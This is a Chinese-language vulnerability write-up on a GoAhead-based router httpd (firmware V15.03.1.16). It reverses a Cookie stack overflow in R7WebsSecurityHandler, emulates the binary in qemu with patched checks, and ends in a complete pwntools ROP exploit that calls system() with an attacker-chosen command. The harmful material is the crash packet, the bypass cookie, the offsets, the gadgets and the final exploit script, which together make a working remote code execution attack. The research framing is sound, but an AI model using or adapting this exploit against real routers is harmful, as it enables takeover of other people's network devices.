官网上即可获取下载含漏洞版本固件V15.03.1.16,使用binwalk
解压,可在目录bin\
目录下找到httpd
程序,使用IDA
打开httpd
程序。
根据在IDA
中看到的websUrlHandlerDefine
等函数,可以判定程序使用的是GoAhead
框架,另外在字符串中找到了2.1.8
,可以进一步确定程序使用的框架是GoAhead 2.1.8
。在github可以下载框架源码。下载源码的目的在于补全一些结构体的定义,方便逆向.
漏洞点位于R7WebsSecurityHandler
中,为了更清楚的查看此处代码,我们根据GoAhead
针对此处的一些结构体进行声明,并针对一些变量的名称进行一些修改。
小技巧 : IDA中导入C语言声明的结构体.在View-->Open Subviews-->Local Types中可以看到本地已有的结构体,在该窗口中右击insert.可以添加C语言声明的结构体
本程序的分析,添加了以下两个结构体:
struct ringq_t{ unsigned char *buf; /* Holding buffer for data */ unsigned char *servp; /* Pointer to start of data */ unsigned char *endp; /* Pointer to end of data */ unsigned char *endbuf; /* Pointer to end of buffer */ int buflen; /* Length of ring queue */ int maxsize; /* Maximum size */ int increment; /* Growth increment */ }
struct websRec { ringq_t header; /* Header dynamic string */ __time_t since; /* Parsed if-modified-since time */ char* cgiVars; /* CGI standard variables */ char* cgiQuery; /* CGI decoded query string */ __time_t timestamp; /* Last transaction with browser */ int timeout; /* Timeout handle */ char ipaddr[32]; /* Connecting ipaddress */ char type[64]; /* Mime type */ char *dir; /* Directory containing the page */ char *path; /* Path name without query */ char *url; /* Full request url */ char *host; /* Requested host */ char *lpath; /* Cache local path name */ char *query; /* Request query */ char *decodedQuery; /* Decoded request query */ char *authType; /* Authorization type (Basic/DAA) */ char *password; /* Authorization password */ char *userName; /* Authorization username */ char *cookie; /* Cookie string */ char *userAgent; /* User agent (browser) */ char *protocol; /* Protocol (normally HTTP) */ char *protoVersion; /* Protocol version */ int sid; /* Socket id (handler) */ int listenSid; /* Listen Socket id */ int port; /* Request port number */ int state; /* Current state */ int flags; /* Current flags -- see above */ int code; /* Request result code */ int clen; /* Content length */ int wid; /* Index into webs */ char *cgiStdin; /* filename for CGI stdin */ int docfd; /* Document file descriptor */ int numbytes; /* Bytes to transfer to browser */ int written; /* Bytes actually transferred */ void (*writeSocket)(struct websRec *wp); }
简单修改完毕,查看漏洞点:
在sscanf
时,cookie
长度没有进行限制,因此造成栈溢出.
为了抵达此处,还需满足前边的一些条件:
即url
值不能为空,不能为\
,长度不能是1,且不能是以上字符
满足以上条件进入if
后,url
还不能是index.html
.
因此可构造以下数据包触发崩溃:
GET /goform/execCommand HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-Insecure-Requests: 1 Cookie: password=“A”*501
复制qemu-arm-static
到解压后的固件目录下,尝试用qemu
运行httpd
程序:
$ sudo chroot . ./qemu-arm-static ./bin/httpd init_core_dump 1784: rlim_cur = 0, rlim_max = -1 init_core_dump 1794: open core dump success init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120 Yes: ****** WeLoveLinux****** Welcome to ...
发现卡顿到此处,在IDA
中定位这个字符串:
推测可能是check_network()
这个函数没有通过卡死在这里了.但仔细看了以下,这个函数并没有返回什么关键信息,只是一个简单检查,因此可以直接patch
掉.
另外,继续向下运行还会遇到一个检查函数ConnectCfm
,也直接patch
掉即可,patch
完的效果如图:
patch
完再进行模拟:
$ sudo chroot . ./qemu-arm-static ./httpd [sudo] password for island: init_core_dump 1784: rlim_cur = 0, rlim_max = -1 init_core_dump 1794: open core dump success init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120 Yes: ****** WeLoveLinux****** Welcome to ... connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. [httpd][debug]----------------------------webs.c,157 Unsupported setsockopt level=1 optname=13 httpd listen ip = 255.255.255.255 port = 80
根据提示信息推测应该是没有获取到真正的本机ip
,通过httpd listen
定位:
经过回溯,发现这个ip
来自于g_lan_ip
这个全局变量,而这个全局变量来自于以下部分:
大概的流程就是去寻找br0
这个网络接口的IP
,并在这个ip
进行监听.但是我本机目前没有br0
这个网络接口,所以获取的ip
地址不对,为了解决这个问题其实可以有两个思路来做:
patch
,将br0
这个接口更改为本机的ens160
这个网卡br0
两个思路应该都是可行的,为了方便我采用第二个方法,因为这一步骤我们在之前配置环境的时候做过了,具体可参考这个链接
在配置好br0
网卡后再进行仿真:
$ sudo chroot . ./qemu-arm-static ./httpd init_core_dump 1784: rlim_cur = 0, rlim_max = -1 init_core_dump 1794: open core dump success init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120 Yes: ****** WeLoveLinux****** Welcome to ... connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. [httpd][debug]----------------------------webs.c,157 Unsupported setsockopt level=1 optname=13 httpd listen ip = 192.168.5.179 port = 80 webs: Listening for HTTP requests at address 192.168.5.179
可以看到,此时模拟已经成功模拟起来了.
写一个简单的poc
测试:
import requests ip = "192.168.5.179" url = "http://%s/goform/execCommand"%ip cookie = {"Cookir":"password="+"A"*501} ret = requests.get(url=url,cookies=cookie) print ret.text
运行poc
,可以看到崩溃:
httpd listen ip = 192.168.5.179 port = 80 webs: Listening for HTTP requests at address 192.168.5.179 Unsupported setsockopt level=1 optname=13 connect: No such file or directory Connect to server failed. [1] 16261 segmentation fault (core dumped) sudo chroot . ./qemu-arm-static ./httpd
使用以下命令模拟httpd
程序并尝试进入调试模式:
$ sudo chroot . ./qemu-arm-static -g 1234 ./httpd
使用pwndbg
尝试调试上面的poc
:
发现崩溃点在0x6623954
,尝试bt
寻找调用路径,最后发现是在R7WebsSecurityHandler
这个函数的此处:
如果流程跑到这里继续执行的话可能无法控制pc
值进而无法控制函数流,因此考虑能否绕过不执行这里,很幸运,我们找到了这里:
如果这个if
不满足,则不会跳转到sub_2c568
.这里是检验url
里是否包含一些特征字符,如果包含则不用进入下面if
流程直接return
.但是直接在url
中包含这几个特征字符串是不行的,因为此时的url
在我们栈溢出的时候已经被覆盖掉了,因此还是要在cookie
中进行修改
poc
简单更改来绕过这个限制:
from pwn import * import requests ip = "192.168.5.179" url = "http://%s/goform/execCommand"%ip cookie = {"Cookir":"password="+cyclic(500)+".gifAAAAAAAAAAAAA"} ret = requests.get(url=url,cookies=cookie) print ret.text
再次进行调试:
发现已经可以控制PC
值了,并计算出偏移为444.
偏移已知,pc
也可控,下面可以进行rop
了
httpd
里找不到好的gadget
,直接去libc
里面找:
$ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp" .... 0x00040cb8 : mov r0, sp ; blx r3 ....
此时如果将r3
赋值为system
的地址,将要执行的命令放在栈上,就可以执行任意命令了,因此再找一条控制r3
的gadget
:
$ ROPgadget --binary ./lib/libc.so.0 --only "pop" .... 0x00018298 : pop {r3, pc} ....
因此payload
按如下输入即可:
cyclic(444) + p32(libc_base_addr + 0x00019298) + p32(system_addr) + p32(libc_base_addr + 0x00040cb8) + "touch ./abcd"
为了知道system
地址,还需要去查一下libc
基地址:
最后进行一下调试:
发现已经跑去执行system("touch ./abcd")
了,但是可能因为我使用的是qemu-user
模拟,所以没有成功创建这个文件.
最终的exp
:
from pwn import * import requests context.binary = "./httpd" context.log_level = "debug" libc = ELF("./lib/libc.so.0") system_offset = libc.symbols["system"] libc_base_addr = 0xf65e5000 system_addr= libc_base_addr + system_offset ip = "192.168.5.179" url = "http://%s/goform/execCommand"%ip cookie = {"Cookir":"password="+cyclic(444) + ".gif" + flat(libc_base_addr + 0x00018298, system_addr, libc_base_addr + 0x00040cb8)+ "touch ./abcd" } ret = requests.get(url=url,cookies=cookie) print ret.text